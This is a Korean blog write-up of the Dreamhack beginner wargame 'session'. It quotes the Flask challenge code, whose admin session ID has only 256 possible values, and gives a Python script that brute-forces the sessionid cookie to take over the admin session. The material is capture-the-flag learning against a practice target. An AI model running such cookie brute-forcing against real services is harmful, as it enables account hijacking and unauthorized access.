xmi1e-vir.log

[Dreamhack] wargame 'session' write-up 본문

WARGAME/WEB

[Dreamhack] wargame 'session' write-up

eunee22 2025. 9. 15. 17:02
🌱 Biginner
문제링크
쿠키와 세션으로 인증 상태를 관리하는 간단한 로그인 서비스입니다.
admin 계정으로 로그인에 성공하면 플래그를 획득할 수 있습니다.

📌문제 파악

주어진 페이지는 username가 admin인 경우에 flag를 제공해준다.

@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')

 

유효한 유저목록은 아래와 같다.

users = {
    'guest': 'guest',
    'user': 'user1234',
    'admin': FLAG
}
// 임시 세션 저장소
session_storage = {
}

 

로그인 과정을 살펴보면
유저이름에 알맞는 비밀번호가 입력되면 os.urandom(4).hex()을 통해 랜덤 session_id를 생성하고 sesson_storage의 해당 인덱스에 username을 저장한다.

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(4).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

 

📌문제 풀이

앞서 보았듯이 로그인에서 가장 핵심적인 정보가 session_id이다.
만약 우리가 guest로 로그인을 한 상태라면, session_storage에서 guest라는 username이 저장되어있는 위치가 바로 session_id인것이다.

 

따라서 우리가 로그인하고자 하는 admin의 세션 아이디를 알 수 있다면, 우리는 admin으로 로그인을 한것처럼 웹사이트를 속일 수 있다.

그렇다면 admin의 세션 아이디는 어디있을까?
바로 main()함수에서 찾아볼 수 있다.

if __name__ == '__main__':
    import os
    session_storage[os.urandom(1).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

 

main()이 실행됨과 동시에 os.urandom(1).hex()라는 코드로 랜덤값을 생성하고, 이게 admin의 session_id가 된다.

os.urandom(1)은 딱 1바이트 (8비트) 를 생성하므로, 값의 범위는 0~255이고 총 256가지의 경우의 수가 있는것이다.
이정도면 브루트 포스(brute force)로 충분히 해결이 가능한 수준이기 때문에 gpt한테 시켜서 응답이 성공할때의 세션 아이디를 가져오는 코드를 작성했다.

import requests

# 문제의 웹사이트 주소
TARGET_URL = 'http://host8.dreamhack.games:port/' 
SUCCESS_STRING = 'admin'

def find_admin_session():
    """
    0x00부터 0xff까지 모든 세션 ID 값을 시도하여 admin 계정을 탐색
    """
    print("... Admin 세션 ID 찾기 시작 ...")

    # 0부터 255까지의 모든 경우의 수를 확인
    for i in range(256):
        # 숫자를 두 자리 16진수 문자열로 변환
        session_id_to_try = f'{i:02x}'
        cookies = {
            'sessionid': session_id_to_try 
        }

        try:
            # 조작된 세션 쿠키를 포함하여 GET 요청
            response = requests.get(TARGET_URL, cookies=cookies)
            
            # 응답 내용(response.text)에 성공 문자열이 포함되어 있는지 확인
            if SUCCESS_STRING in response.text:
                print(f"\n[+] 성공! Admin 세션 ID를 찾았습니다: {session_id_to_try}")
                return session_id_to_try

            print(f"\r시도 중: {session_id_to_try}", end="")

        except requests.exceptions.RequestException as e:
            print(f"\n[!] 요청 중 오류가 발생했습니다: {e}")
            return None

    print("\n[-] 실패. Admin 세션 ID를 찾지 못했습니다.")
    return None

if __name__ == '__main__':
    find_admin_session()

 

 

guest, user와 같이 미리 주어진 계정으로 로그인 해놓은 뒤 session_id를 알아낸 값으로 바꾸면 아래와 같이 flag를 얻을 수 있다.

 

[참고할 자료]

문제를 풀고 나서 찾아본 다른 분들의 풀이중에 참고하면 좋을 풀이를 공유한다.

brup suite의 intrude 기능으로 브루트포스
https://alim11.tistory.com/408